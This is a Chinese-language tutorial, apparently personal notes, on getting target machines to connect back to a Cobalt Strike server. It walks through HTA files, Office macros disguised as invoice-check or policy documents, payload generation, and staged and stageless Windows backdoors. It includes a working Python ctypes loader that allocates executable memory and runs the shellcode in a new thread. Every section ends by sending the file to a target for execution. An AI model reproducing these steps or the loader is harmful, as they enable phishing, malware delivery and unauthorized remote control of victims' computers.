cs上线方式

1. HTA文档

  1. 打开cs,选择HTA相关内容

    选择hta方式

  2. 选择对应监听器,并且生成相应内容

    生成hta

    在Method方法中,可以选择最终的木马是exe可执行文件、powershell还是VBA脚本的形式

    method

  3. 发送到目标机器上执行(尽量为低版本的Windows,高版本可能不起作用)

2. Office宏

  1. 打开Office宏生成页面

    image-20241105113034822

  2. 选择对应监听器,生成相应的office宏内容

    生成宏内容

  3. 复制宏内容

    复制宏内容

  4. 新建一个offcie文件(不能是wps的,这里以word为例),在搜索栏搜索宏,并进入编辑宏页面

  5. 注意:这里也可以直接使用正常文件,但添加新的宏

    搜索宏

  6. 新建一个宏

    新建宏

  7. 替换宏内容

    替换宏内容

  8. 根据你的目标,伪装word文档内容(例如发票报销核查、制度变化等),并保存为docm文档格式

    生成带有宏的文件

    带有宏的文件

  9. 发送给目标机器执行,成功上线

    成功上线

3. Payload生成器

(1). 单个payload生成

  1. 进入Payload生成器页面

    进入页面

  2. 生成对应脚本的Payload(我这里以Python格式的脚本举例)

    生成Payload

    生成的内容

  3. 该脚本内容为shellcode

    shellcode

  4. 将该shellcode放入shellcode解释器指定位置,保存并退出

    import ctypes
    # 示例 shellcode,确保它不是空的
    shellcode = bytearray(b"放入cs生成的payload")  
    ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
    # 分配内存
    ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
                                             ctypes.c_int(len(shellcode)),
                                             ctypes.c_int(0x3000),
                                             ctypes.c_int(0x40))
    # 检查内存是否分配成功
    if ptr == 0:
       raise Exception("VirtualAlloc failed to allocate memory.")
    
    # 将 shellcode 加载到分配的内存中
    buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
    
    # 使用 RtlMoveMemory 将 shellcode 拷贝到分配的内存区域
    ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_void_p(ptr),
                                        buf,
                                        ctypes.c_int(len(shellcode)))
    
    # 创建线程执行 shellcode
    handle = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),
                                                ctypes.c_int(0),
                                                ctypes.c_uint64(ptr),
                                                ctypes.c_int(0),
                                                ctypes.c_int(0),
                                                ctypes.pointer(ctypes.c_int(0)))
    
    # 等待线程完成
    ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle), ctypes.c_int(-1))
    
  5. 将上一步最终获得的脚本发送给目标机器执行,成功上线

    成功上线

(2). 无阶段式

  • 方法同上

4. Windows载荷

Windows载荷

  • 有3种方式,
  • 分阶段式,相当于一个连接器,首先会连接到攻击者的服务器,然后请求下载更多的代码,适合查杀严格但出网情况
  • 无阶段式,所有攻击代码都在一个文件中,不需要后续下载,适合查杀宽松但不出网情况
  • 所有负载,会生成包含各种有效负载的 stageless 木马,,适用于脱机或复杂网络条件下的攻击场景

(1). 分阶段式

  1. 针对监听器,生成exe后门文件

    生成后门

    生成

    选择生成位置

    成功生成

  2. 将后门程序通过各种方式,上传到目标机器上并运行

    上传并使用

  3. 目标机器上运行后,成功上线该机器

    成功上线

(2). 无阶段式

  1. 进入无阶段式模式

    进入无阶段式

  2. 生成相对应的木马

    生成相对应的木马

  3. 发送给目标机器执行,成功上线

(3). 所有负载

  1. 进入所有负载模式

    生成

    选择适当的文件夹存放内容

    生成

  2. 查看文件夹内容

    查看

  3. 选择适用情况的木马来使用,使用方法同上面两种方法